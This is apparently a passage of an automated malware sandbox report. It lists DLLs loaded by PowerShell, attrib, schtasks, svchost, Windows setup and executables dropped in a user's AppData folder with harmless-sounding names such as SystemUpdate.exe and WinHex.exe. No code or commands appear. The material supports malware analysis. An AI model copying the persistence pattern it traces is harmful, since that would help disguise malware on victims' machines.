Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Users\user\AppData\LineInst.exe	Section loaded: mfc42u.dll	Jump to behavior
Source: C:\Users\user\AppData\LineInst.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\LineInst.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\LineInst.exe	Section loaded: wdscore.dll	Jump to behavior
Source: C:\Users\user\AppData\LineInst.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Users\user\AppData\LineInst.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\LineInst.exe	Section loaded: wimgapi.dll	Jump to behavior
Source: C:\Users\user\AppData\LineInst.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\LineInst.exe	Section loaded: riched32.dll	Jump to behavior
Source: C:\Users\user\AppData\LineInst.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\AppData\LineInst.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\AppData\LineInst.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\AppData\LineInst.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\LineInst.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\LineInst.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\LineInst.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\LineInst.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\LineInst.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\LineInst.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\LineInst.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\LineInst.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\LineInst.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: apphelp.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: aclayers.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: mpr.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: sfc.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: sfc_os.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: version.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: cabinet.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: wtsapi32.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: winhttp.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: kernel.appcore.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: winbrand.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: wldp.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: dbghelp.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: dbgcore.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: winbrand.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: wldp.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: slc.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: sppc.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: mfc42u.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: wmsgapi.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: wdscore.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: uxtheme.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: netapi32.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: slc.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: sppc.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: wkscli.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: netutils.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: msasn1.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: riched32.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: riched20.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: usp10.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: msls31.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: sspicli.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: unbcl.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: fltlib.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: virtdisk.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: profapi.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: xmllite.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: sspicli.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: unbcl.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: fltlib.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: virtdisk.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: profapi.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: xmllite.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: wbemcomn.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: amsi.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: userenv.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: policymanager.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: msvcp110_win.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: vds_ps.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: policymanager.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: msvcp110_win.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: winsta.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: iphlpapi.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: dhcpcsvc.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: webio.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: mswsock.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: winnsi.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: sspicli.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: dnsapi.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: rasadhlp.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: fwpuclnt.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: schannel.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: mskeyprotect.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: ntasn1.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: ncrypt.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: ncryptsslp.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: cryptsp.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: rsaenh.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: cryptbase.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: gpapi.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: dpapi.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: windlp.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: ntmarta.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: devrtl.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: textshaping.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: windowscodecs.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: textinputframework.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: coreuicomponents.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: coremessaging.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: coremessaging.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: wintypes.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: wintypes.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: wintypes.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: oleacc.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: dataexchange.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: d3d11.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: dcomp.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: dxgi.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: twinapi.appcore.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: sxs.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: winbrand.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: wldp.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: bitsproxy.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: unbcl.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: fltlib.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: virtdisk.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: xmllite.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: policymanager.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: msvcp110_win.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: winbrand.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: wldp.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: wdsutil.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: tdh.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: mscoree.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: winsatapi.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: windows.storage.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: wldp.dll
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Users\user\AppData\WinHex.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\WinHex.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\AppData\WinHex.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\WinHex.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\WinHex.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\WinHex.exe	Section loaded: python3.dll
Source: C:\Users\user\AppData\WinHex.exe	Section loaded: libffi-7.dll
Source: C:\Users\user\AppData\WinHex.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\WinHex.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\WinHex.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\WinHex.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\WinHex.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\WinHex.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\WinHex.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\WinHex.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\WinHex.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\WinHex.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\WinHex.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\WinHex.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\WinHex.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\WinHex.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\WinHex.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\WinHex.exe	Section loaded: dxgi.dll
Source: C:\Users\user\AppData\WinHex.exe	Section loaded: dinput8.dll
Source: C:\Users\user\AppData\WinHex.exe	Section loaded: inputhost.dll
Source: C:\Users\user\AppData\WinHex.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\WinHex.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\WinHex.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\WinHex.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\WinHex.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\WinHex.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\WinHex.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\WinHex.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Users\user\AppData\WinHex.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\WinHex.exe	Section loaded: devenum.dll
Source: C:\Users\user\AppData\WinHex.exe	Section loaded: devobj.dll
Source: C:\Users\user\AppData\WinHex.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\WinHex.exe	Section loaded: msdmo.dll
Source: C:\Users\user\AppData\WinHex.exe	Section loaded: windowscodecs.dll
Source: C:\Windows\System32\vdsldr.exe	Section loaded: atl.dll
Source: C:\Windows\System32\vdsldr.exe	Section loaded: vdsutil.dll
Source: C:\Windows\System32\vdsldr.exe	Section loaded: bcd.dll
Source: C:\Windows\System32\vdsldr.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\vdsldr.exe	Section loaded: vds_ps.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\SystemUpdate.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\SystemUpdate.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\AppData\SystemUpdate.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\SystemUpdate.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\SystemUpdate.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\SystemUpdate.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
